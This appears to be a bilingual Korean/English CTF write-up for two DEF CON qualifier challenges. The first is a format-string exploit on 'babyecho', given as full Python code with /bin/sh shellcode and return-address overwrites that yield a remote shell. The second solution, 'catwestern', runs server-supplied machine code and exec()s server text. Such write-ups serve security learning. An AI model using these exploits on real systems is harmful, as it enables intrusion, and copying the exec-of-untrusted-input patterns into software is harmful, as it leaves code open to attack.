한국어(Korean): Link


We are given a binary below:

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

Checking out the protections, there is no canary, NX or PIE.

When we open it with IDA, there are lots of functions. It's because it is statically compiled. It makes it harder to analyze the binary.

We follow "Reading %d bytes" in String section to find 0x8048f3c function.

There is 14-second alarm so we turn it off to debug without being disturbed. Function 0x804f560 looks like printf and it only takes 1 argument. We can assume there is Format String Bug. Let's make lots of BPs after function calls.

printf is executed on stopping at BP 0x8049014. In addition, we write "%x %x" as input and "d a" came out.

Let's take a look at the stack.

We can check that there indeed is d and a. Also our input is stored at 0xffffd2dc and the pointer of the buffer is there too.

0xd is 13, and let's change this value and see if it reads more bytes. There are two 0xd so we change one by one and when the value at 0xffffd2d0 is changed, it reads more bytes.

So we first change it to use more space in buffer, put shellcode there, then change return address to the address of buffer.

Stage 1: The server has ASLR, so we find out the address of buffer by inputting "%5$x" (0xffffd2dc).

Stage 2: Subtract buf(address fetched from above step) by 12(0xffffd2d0) to get the address of reading size. Then write this address first so that we can modify it with "%7$n", followed by "%99c" to increase the value from 13 to 99. The reason for choosing 99 is because at first, payload must not exceed 13Byte, and '\xd0\xd2\xff\xff%99c%7$n\n' is the most we can get out of it.

Stage 3: Write NOP+shellcode in buffer.

Stage 4: Return address is storead at buf+1040, and we overwrite it with buf+28 because as we overwrite return address, that payload will overwrite the first few bytes of buffer. To overwrite it, %4294956780c is needed but it's too much so we'll break down into two steps where each step write 2 Bytes by "%hn": '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

I made payload as written above and sent it to server, but it did not work. It was because for our shellcode to be executed, main has to return, but it doesn't. It just keeps looping infinitely and exit by alarm. I looked into it more carefully and found that if esp+0x18 is not 0, main returns.

So finally, write any non-zero number in buf-4.

Here's my final payload.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

English: Link


다음과 같은 바이너리가 주어집니다.

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

보호기법을 확인해보면 canary나 NX, PIE 모두 없는 것을 확인할 수 없습니다.

이를 IDA로 열어보면 함수가 매우 많이 나오는데 static file이기 때문입니다. 그래서 분석이 조금 힘들어집니다.

String에서 Reading %d bytes를 찾아서 함수를 따라가면 0x8048f3c에 함수가 나옵니다.

14초 alarm이 있으므로 이를 꺼버리고 디버깅을 해봅시다. 0x804f560함수가 printf같은데, 인자를 한 개만 받네요. Format String Bug를 의심해볼 수 있습니다. 함수를 호출한 직후에 BP를 여러개 걸어봅시다.

0x8049014에서 멈췄을 때 printf가 실행됩니다. 또한 input을 %x %x로 넣었더니 d와 a가 출력이 되는 것을 볼 수 있습니다.

stack 상황을 살펴봅시다.

실제로 d와 a가 있는 것을 확인할 수 있습니다. 또한 우리가 입력한 문자열은 0xffffd2dc에 저장되는데, 이를 가리키는 포인터도 스택에 저장되어있습니다.

0xd는 13인데, 이 값이 바뀌면 더 많이 읽는지 확인해봅시다. 0xd 값이 두 개이므로 하나씩 바꿔보면 0xffffd2d0에 있는 값을 바꾸면 그만큼 읽는다는 것을 확인할 수 있습니다.

그러면 우선 저 값을 여유롭게 바꾼 다음에, shellcode를 버퍼에 올린 뒤 return address를 buf로 바꿉시다.

1단계: 서버에는 ASLR이 걸려있으니 %5$x로 buf의 주소(0xffffd2dc)를 알아냅니다.

2단계: 이 buf 값에 12를 뺀 값(0xffffd2d0)을 input 제일 처음에 주면 %7$x에 주소값이 들어갑니다. 그런 다음 적당히 %10000c를 해준 뒤 %7$n을 하면 0xffffd2d0의 값을 바꿀 수 있습니다. 이 때 처음 payload는 13Byte를 넘으면 안 되므로, '\xd0\xd2\xff\xff%99c%7$n\n'가 최대입니다.

3단계: NOP+shellcode를 버퍼에 넣습니다.

4단계: 그런 다음 return address는 %267$x에 저장된 것을 확인할 수 있습니다. 그 주소는 buf+1040인데, 위처럼 이 값을 처음에 넣고 이 때 위에서 넣은 NOP+shellcode가 일부 덮어씌워지므로 buf+28정도를 return address로 덮어씌웁니다. 이 때, 한 번에 덮어씌우려면 %4294956780c를 해야하는데 이는 너무 기므로 %hn을 이용하여 2Byte씩 잘라서 넣어줍시다. '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

이렇게 해서 payload를 보냈는데 안 되는 겁니다. 왜 그런지 살펴보니 main을 return을 해야하는데 무한루프를 돌다가 alarm으로 끝나버려서 그러질 않더라고요. 멘붕에 빠져서 자세히 살펴보니 esp+0x18의 값이 0이 아니면 루프를 빠져나오는 것을 볼 수 있습니다.

그래서 마지막으로 buf-4에 0이 아닌 값을 덮어씌워주면 됩니다.

최종 payload는 다음과 같습니다.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

한국어(Korean): Link


Accessing the server, the values of registers and weird string are given.

When we encode the string in hex, they all end with 'c3', which is opcode for "retq" in x64 assembly. Thus we can infer that we have to execute the assembly code and return the values of registers in the same format.

It's hard to run opcode in python so we'll use python as wrapper that uses socket and call C-compiled binary using subprocess module.

We can access the rax register in C by

register unsigned long long rax asm("rax");

Let's put the assembly code in a character array "code" and run it.


#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    void (*f)();
    register unsigned long long rax asm("rax");
    register unsigned long long rbx asm("rbx");
    register unsigned long long rcx asm("rcx");
    register unsigned long long rdx asm("rdx");
    register unsigned long long rsi asm("rsi");
    register unsigned long long rdi asm("rdi");
    register unsigned long long r8 asm("r8");
    register unsigned long long r9 asm("r9");
    register unsigned long long r10 asm("r10");
    register unsigned long long r11 asm("r11");
    register unsigned long long r12 asm("r12");
    register unsigned long long r13 asm("r13");
    register unsigned long long r14 asm("r14");
    register unsigned long long r15 asm("r15");

    unsigned long long _rax=0,_rbx=0,_rcx=0,_rdx=0,_rsi=0,_rdi=0,_r8=0,_r9=0,_r10=0,_r11=0,_r12=0,_r13=0,_r14=0,_r15=0;
    unsigned char code[1024]={0,};
    unsigned char tmp[3]={0,};
    int tmp2=0;

    if(argc<17) { printf("nope\n"); return 0; }

    int i;
    // put hex-encoded assembly in char[] code
    for(i=0; i<atoi(argv[1]); i++) {
        memcpy(tmp, argv[16]+i*2, 2);
        tmp2=strtol(tmp, &tmp, 16);
        code[i]=tmp2;
    }
    _rax =strtoll(argv[2], 0, 16);
    _rbx =strtoll(argv[3], 0, 16);
    _rcx =strtoll(argv[4], 0, 16);
    _rdx =strtoll(argv[5], 0, 16);
    _rsi =strtoll(argv[6], 0, 16);
    _rdi =strtoll(argv[7], 0, 16);
    _r8  =strtoll(argv[8], 0, 16);
    _r9  =strtoll(argv[9], 0, 16);
    _r10=strtoll(argv[10], 0, 16);
    _r11=strtoll(argv[11], 0, 16);
    _r12=strtoll(argv[12], 0, 16);
    _r13=strtoll(argv[13], 0, 16);
    _r14=strtoll(argv[14], 0, 16);
    _r15=strtoll(argv[15], 0, 16);

    f=(void *)code;

    rax=_rax;rbx=_rbx;rcx=_rcx;rdx=_rdx;
    rsi=_rsi;rdi=_rdi;r8=_r8;r9=_r9;
    r10=_r10;r11=_r11;r12=_r12;r13=_r13;
    r14=_r14;r15=_r15;

// Location of f: rbp-0xb8
    asm volatile(
        "call -0xb8(%rbp)\n\t"
    );
    _rax=rax;_rbx=rbx;_rcx=rcx;_rdx=rdx;
    _rsi=rsi;_rdi=rdi;_r8=r8;_r9=r9;
    _r10=r10;_r11=r11;_r12=r12;_r13=r13;
    _r14=r14;_r15=r15;
    printf("rax=0x%llx\n", _rax);
    printf("rbx=0x%llx\n", _rbx);
    printf("rcx=0x%llx\n", _rcx);
    printf("rdx=0x%llx\n", _rdx);
    printf("rsi=0x%llx\n", _rsi);
    printf("rdi=0x%llx\n", _rdi);
    printf("r8=0x%llx\n",  _r8);
    printf("r9=0x%llx\n",  _r9);
    printf("r10=0x%llx\n", _r10);
    printf("r11=0x%llx\n", _r11);
    printf("r12=0x%llx\n", _r12);
    printf("r13=0x%llx\n", _r13);
    printf("r14=0x%llx\n", _r14);
    printf("r15=0x%llx", _r15);
    return 0;
}


여기서 f()로 호출하면 컴파일러가 rax에 f의 주소를 넣고 call *%rax의 형태로 바뀌어서 rax값을 보존하기 위해 call 어셈블리를 inline으로 직접 넣었습니다. rbp-0xb8은 한번 컴파일을 해본 뒤 f가 어디에있는지 직접 찾아서 넣은 것입니다. f를 직접 호출하려고했는데 inline assembly와 C언어 변수간의 호환이 어렵더군요...

The reason I put "call rbp-0xb8" is because if we just call f() then the compiler put the address of f in rax and call *%rax when the value of rax must remain intact. I compiled the code first then figured out f is at rbp-0xb8. I wanted to call f directly but using C variable in inline assembly is harder than I thought...

We need to run code in stack so make it executable by giving "-z execstack" option in gcc:

gcc -o catwestern catwestern.c -z execstack -fno-stack-protector -g

Finally we just have to call the binary appropriately in python wrapper


from socket import *

s = socket(2,1)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me',9999))
reg = s.recv(2048)

print reg
reg = reg.split('\n')[1:]
for i in reg:
    exec i

a = s.recv(2048)
print a
a = a.split('\n')
a = '\n'.join(a[2:])
print 'LENGTH:', len(a)

regs = [rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15]
for n,i in enumerate(regs):
    if i>0x7fffffffffffffff:
        regs[n] = -(0xffffffffffffffff-i+1)
cmd=('./catwestern %d ' +'%x '*14+ '%s')%(len(a),
    regs[0],regs[1],regs[2],regs[3],regs[4],
    regs[5],regs[6],regs[7],regs[8],regs[9],
    regs[10],regs[11],regs[12],regs[13],a.encode('hex'))

import subprocess
print cmd
t = subprocess.check_output(cmd, shell=True)

for i in t.split('\n'):
    exec i

ans = '''rax=0x%x
rbx=0x%x
rcx=0x%x
rdx=0x%x
rsi=0x%x
rdi=0x%x
r8=0x%x
r9=0x%x
r10=0x%x
r11=0x%x
r12=0x%x
r13=0x%x
r14=0x%x
r15=0x%x
''' % (rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15)
print ans
s.send(ans)
print s.recv(2048)



Flag: Cats with frickin lazer beamz on top of their heads!

+ Recent posts